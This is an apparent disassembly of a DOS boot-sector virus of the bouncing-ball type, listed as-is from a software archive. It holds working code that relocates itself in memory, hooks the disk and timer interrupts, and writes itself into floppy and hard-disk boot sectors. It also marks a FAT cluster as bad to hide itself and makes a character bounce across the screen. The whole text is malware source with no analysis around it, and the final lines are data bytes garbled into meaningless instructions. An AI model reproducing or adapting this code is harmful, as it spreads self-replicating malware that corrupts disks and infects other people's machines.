home *** CD-ROM | disk | FTP | other *** search
- jmp short loc_3
-
- nop
-
- dec cx
-
- inc dx
-
- dec bp
-
- and [bx+si],ah
-
- xor bp,data_10
-
- add al,[si]
-
- data_14 dw 1
-
- add al,[bx+si]
-
- add bh,[bp+di]
-
- mov data_12,al
-
- add [bx+di],dl
-
- add [si],al
-
- add [bx+di],dl
-
- add [bp+di],dh
-
- loc_3:
-
- xor ax,ax
-
- mov ss,ax
-
- mov sp,7C00h
-
- mov ds,ax
-
- mov ax,data_5
-
- sub ax,2
-
- mov data_5,ax
-
- mov cl,6
-
- shl ax,cl ; Shift w/zeros fill
-
- sub ax,7C0h
-
- mov es,ax
-
- mov si,7C00h
-
- mov di,si
-
- mov cx,100h
-
- rep movsw ; Rep while cx>0 Mov [si] to es:[di]
-
- db 8Eh
-
- db 0C8h
-
- push cs
-
- pop ds
-
- call sub_1
-
-
-
- ;==========================================================================
-
- ; SUBROUTINE
-
- ;==========================================================================
-
-
-
- sub_1 proc near
-
- xor ah,ah ; Zero register
-
- int 13h ; Disk dl=drive b: ah=func 00h
-
- ; reset disk, al=return status
-
- and data_24,80h
-
- mov bx,data_25
-
- push cs
-
- pop ax
-
- sub ax,20h
-
- mov es,ax
-
- call sub_3
-
- mov bx,data_25
-
- inc bx
-
- mov ax,0FFC0h
-
- mov es,ax
-
- call sub_3
-
- xor ax,ax ; Zero register
-
- mov data_23,al
-
- mov ds,ax
-
- mov ax,data_3
-
- mov bx,data_4
-
- mov data_3,7CD0h
-
- mov data_4,cs
-
- push cs
-
- pop ds
-
- mov data_19,ax
-
- mov data_20,bx
-
- mov dl,data_24
-
- jmp far ptr loc_2
-
- sub_1 endp
-
-
-
-
-
- ;==========================================================================
-
- ; SUBROUTINE
-
- ;==========================================================================
-
-
-
- sub_2 proc near
-
- mov ax,301h
-
- jmp short loc_4
-
-
-
- ;==== External Entry into Subroutine ======================================
-
-
-
- sub_3:
-
- mov ax,201h
-
- loc_4:
-
- xchg ax,bx
-
- add ax,data_18
-
- xor dx,dx ; Zero register
-
- div data_16 ; ax,dxrem=dx:ax/data
-
- inc dl
-
- mov ch,dl
-
- xor dx,dx ; Zero register
-
- div data_17 ; ax,dxrem=dx:ax/data
-
- mov cl,6
-
- shl ah,cl ; Shift w/zeros fill
-
- or ah,ch
-
- mov cx,ax
-
- xchg ch,cl
-
- mov dh,dl
-
- mov ax,bx
-
-
-
- ;==== External Entry into Subroutine ======================================
-
-
-
- sub_4:
-
- mov dl,data_24
-
- mov bx,8000h
-
- int 13h ; Disk dl=drive b: ah=func 02h
-
- ; read sectors to memory es:bx
-
- jnc loc_ret_5 ; Jump if carry=0
-
- pop ax
-
-
-
- loc_ret_5:
-
- retn
-
- sub_2 endp
-
-
-
- push ds
-
- push es
-
- push ax
-
- push bx
-
- push cx
-
- push dx
-
- push cs
-
- pop ds
-
- push cs
-
- pop es
-
- test data_23,1
-
- jnz loc_8 ; Jump if not zero
-
- cmp ah,2
-
- jne loc_8 ; Jump if not equal
-
- cmp data_24,dl
-
- mov data_24,dl
-
- jnz loc_7 ; Jump if not zero
-
- xor ah,ah ; Zero register
-
- int 1Ah ; Real time clock ah=func 00h
-
- ; get system timer count cx,dx
-
- test dh,7Fh
-
- jnz loc_6 ; Jump if not zero
-
- test dl,0F0h
-
- jnz loc_6 ; Jump if not zero
-
- push dx
-
- call sub_6
-
- pop dx
-
- loc_6:
-
- mov cx,dx
-
- sub dx,data_26
-
- mov data_26,cx
-
- sub dx,24h
-
- jc loc_8 ; Jump if carry Set
-
- loc_7:
-
- or data_23,1
-
- push si
-
- push di
-
- call sub_5
-
- pop di
-
- pop si
-
- and data_23,0FEh
-
- loc_8:
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- pop es
-
- pop ds
-
- jmp far ptr loc_38
-
-
-
- ;==========================================================================
-
- ; SUBROUTINE
-
- ;==========================================================================
-
-
-
- sub_5 proc near
-
- mov ax,201h
-
- mov dh,0
-
- mov cx,1
-
- call sub_4
-
- test data_24,80h
-
- jz loc_11 ; Jump if zero
-
- mov si,81BEh
-
- mov cx,4
-
-
-
- locloop_9:
-
- cmp data_8[si],1
-
- je loc_10 ; Jump if equal
-
- cmp data_8[si],4
-
- je loc_10 ; Jump if equal
-
- add si,10h
-
- loop locloop_9 ; Loop if cx > 0
-
-
-
- retn
-
- loc_10:
-
- mov dx,[si]
-
- mov cx,data_7[si]
-
- mov ax,201h
-
- call sub_4
-
- loc_11:
-
- mov si,8002h
-
- mov di,7C02h
-
- mov cx,1Ch
-
- rep movsb ; Rep while cx>0 Mov [si] to es:[di]
-
- cmp data_46,1357h
-
- jne loc_13 ; Jump if not equal
-
- cmp data_45,0
-
- jae loc_ret_12 ; Jump if above or =
-
- mov ax,data_43
-
- mov data_22,ax
-
- mov si,data_44
-
- jmp loc_23
-
-
-
- loc_ret_12:
-
- retn
-
- loc_13:
-
- cmp data_37,200h
-
- jne loc_ret_12 ; Jump if not equal
-
- cmp data_38,2
-
- jb loc_ret_12 ; Jump if below
-
- mov cx,data_39
-
- mov al,data_40
-
- cbw ; Convrt byte to word
-
- mul data_42 ; ax = data * ax
-
- add cx,ax
-
- mov ax,20h
-
- mul data_41 ; ax = data * ax
-
- add ax,1FFh
-
- mov bx,200h
-
- div bx ; ax,dx rem=dx:ax/reg
-
- add cx,ax
-
- mov data_22,cx
-
- mov ax,data_15
-
- sub ax,data_22
-
- mov bl,data_13
-
- xor dx,dx ; Zero register
-
- xor bh,bh ; Zero register
-
- div bx ; ax,dx rem=dx:ax/reg
-
- inc ax
-
- mov di,ax
-
- and data_23,0FBh
-
- cmp ax,0FF0h
-
- jbe loc_14 ; Jump if below or =
-
- or data_23,4
-
- loc_14:
-
- mov si,1
-
- mov bx,data_14
-
- dec bx
-
- mov data_21,bx
-
- mov data_27,0FEh
-
- jmp short loc_15
-
- data_21 dw 1Ah
-
- data_22 dw 73h
-
- data_23 db 4
-
- data_24 db 81h
-
- data_25 dw 654Bh
-
- add data_9[bx],dl
-
- push bp
-
- stosb ; Store al to es:[di]
-
- loc_15:
-
- inc data_21
-
- mov bx,data_21
-
- add data_27,2
-
- call sub_3
-
- jmp short loc_20
-
- loc_16:
-
- mov ax,3
-
- test data_23,4
-
- jz loc_17 ; Jump if zero
-
- inc ax
-
- loc_17:
-
- mul si ; dx:ax = reg * ax
-
- shr ax,1 ; Shift w/zeros fill
-
- sub ah,data_27
-
- mov bx,ax
-
- cmp bx,1FFh
-
- jae loc_15 ; Jump if above or =
-
- mov dx,data_36[bx]
-
- test data_23,4
-
- jnz loc_19 ; Jump if not zero
-
- mov cl,4
-
- test si,1
-
- jz loc_18 ; Jump if zero
-
- shr dx,cl ; Shift w/zeros fill
-
- loc_18:
-
- and dh,0Fh
-
- loc_19:
-
- test dx,0FFFFh
-
- jz loc_21 ; Jump if zero
-
- loc_20:
-
- inc si
-
- cmp si,di
-
- jbe loc_16 ; Jump if below or =
-
- retn
-
- loc_21:
-
- mov dx,0FFF7h
-
- test data_23,4
-
- jnz loc_22 ; Jump if not zero
-
- and dh,0Fh
-
- mov cl,4
-
- test si,1
-
- jz loc_22 ; Jump if zero
-
- shl dx,cl ; Shift w/zeros fill
-
- loc_22:
-
- or data_36[bx],dx
-
- mov bx,data_21
-
- call sub_2
-
- mov ax,si
-
- sub ax,2
-
- mov bl,data_13
-
- xor bh,bh ; Zero register
-
- mul bx ; dx:ax = reg * ax
-
- add ax,data_22
-
- mov si,ax
-
- mov bx,0
-
- call sub_3
-
- mov bx,si
-
- inc bx
-
- call sub_2
-
- loc_23:
-
- mov bx,si
-
- mov data_25,si
-
- push cs
-
- pop ax
-
- sub ax,20h
-
- mov es,ax
-
- call sub_2
-
- push cs
-
- pop ax
-
- sub ax,40h
-
- mov es,ax
-
- mov bx,0
-
- call sub_2
-
- retn
-
- sub_5 endp
-
-
-
- data_26 dw 246Eh
-
- data_27 db 32h
-
-
-
- ;==========================================================================
-
- ; SUBROUTINE
-
- ;==========================================================================
-
-
-
- sub_6 proc near
-
- test data_23,2
-
- jnz loc_ret_24 ; Jump if not zero
-
- or data_23,2
-
- mov ax,0
-
- mov ds,ax
-
- mov ax,data_1
-
- mov bx,data_2
-
- mov data_1,7EDFh
-
- mov data_2,cs
-
- push cs
-
- pop ds
-
- mov data_28,ax
-
- mov data_29,bx
-
-
-
- loc_ret_24:
-
- retn
-
- sub_6 endp
-
-
-
- push ds
-
- push ax
-
- push bx
-
- push cx
-
- push dx
-
- push cs
-
- pop ds
-
- mov ah,0Fh
-
- int 10h ; Video display ah=functn 0Fh
-
- ; get state, al=mode, bh=page
-
- mov bl,al
-
- cmp bx,data_34
-
- je loc_27 ; Jump if equal
-
- mov data_34,bx
-
- dec ah
-
- mov data_35,ah
-
- mov ah,1
-
- cmp bl,7
-
- jne loc_25 ; Jump if not equal
-
- dec ah
-
- loc_25:
-
- cmp bl,4
-
- jae loc_26 ; Jump if above or =
-
- dec ah
-
- loc_26:
-
- mov data_33,ah
-
- mov data_31,101h
-
- mov data_32,101h
-
- mov ah,3
-
- int 10h ; Video display ah=functn 03h
-
- ; get cursor loc in dx, mode cx
-
- push dx
-
- mov dx,data_31
-
- jmp short loc_29
-
- loc_27:
-
- mov ah,3
-
- int 10h ; Video display ah=functn 03h
-
- ; get cursor loc in dx, mode cx
-
- push dx
-
- mov ah,2
-
- mov dx,data_31
-
- int 10h ; Video display ah=functn 02h
-
- ; set cursor location in dx
-
- mov ax,data_30
-
- cmp data_33,1
-
- jne loc_28 ; Jump if not equal
-
- mov ax,8307h
-
- loc_28:
-
- mov bl,ah
-
- mov cx,1
-
- mov ah,9
-
- int 10h ; Video display ah=functn 09h
-
- ; set char al & attrib ah @curs
-
- loc_29:
-
- mov cx,data_32
-
- cmp dh,0
-
- jne loc_30 ; Jump if not equal
-
- xor ch,0FFh
-
- inc ch
-
- loc_30:
-
- cmp dh,18h
-
- jne loc_31 ; Jump if not equal
-
- xor ch,0FFh
-
- inc ch
-
- loc_31:
-
- cmp dl,0
-
- jne loc_32 ; Jump if not equal
-
- xor cl,0FFh
-
- inc cl
-
- loc_32:
-
- cmp dl,data_35
-
- jne loc_33 ; Jump if not equal
-
- xor cl,0FFh
-
- inc cl
-
- loc_33:
-
- cmp cx,data_32
-
- jne loc_35 ; Jump if not equal
-
- mov ax,data_30
-
- and al,7
-
- cmp al,3
-
- jne loc_34 ; Jump if not equal
-
- xor ch,0FFh
-
- inc ch
-
- loc_34:
-
- cmp al,5
-
- jne loc_35 ; Jump if not equal
-
- xor cl,0FFh
-
- inc cl
-
- loc_35:
-
- add dl,cl
-
- add dh,ch
-
- mov data_32,cx
-
- mov data_31,dx
-
- mov ah,2
-
- int 10h ; Video display ah=functn 02h
-
- ; set cursor location in dx
-
- mov ah,8
-
- int 10h ; Video display ah=functn 08h
-
- ; get char al & attrib ah @curs
-
- mov data_30,ax
-
- mov bl,ah
-
- cmp data_33,1
-
- jne loc_36 ; Jump if not equal
-
- mov bl,83h
-
- loc_36:
-
- mov cx,1
-
- mov ax,907h
-
- int 10h ; Video display ah=functn 09h
-
- ; set char al & attrib ah @curs
-
- pop dx
-
- mov ah,2
-
- int 10h ; Video display ah=functn 02h
-
- ; set cursor location in dx
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- pop ds
-
- jmp far ptr loc_1
-
- data_30 dw 0
-
- data_31 dw 101h
-
- data_32 dw 101h
-
- data_33 db 0
-
- data_34 dw 0FFFFh
-
- data_35 db 50h
-
- mov bh,0B7h
-
- mov bh,0B6h
-
- inc ax
-
- inc ax
-
- mov dh,bl
-
- out 5Ah,al ; port 5Ah
-
- lodsb ; String [si] to al
-
- shl ah,cl ; Shift w/zeros fill
-
- jmp far ptr loc_39
-
- inc ax
-
- db 64h
-
- pop sp
-
- db 60h
-
- push dx
-
- inc ax
-
- inc ax
-
- inc ax
-
- inc ax
-
- db 64h
-
- db 62h
-
- pop si
-
- db 62h
-
- db 60h
-
- pop si
-
- jo loc_37 ; Jump if overflow=1
-
- inc ax
-
- inc cx
-
- mov bh,0B7h
-
- mov bh,0B6h
-
-
-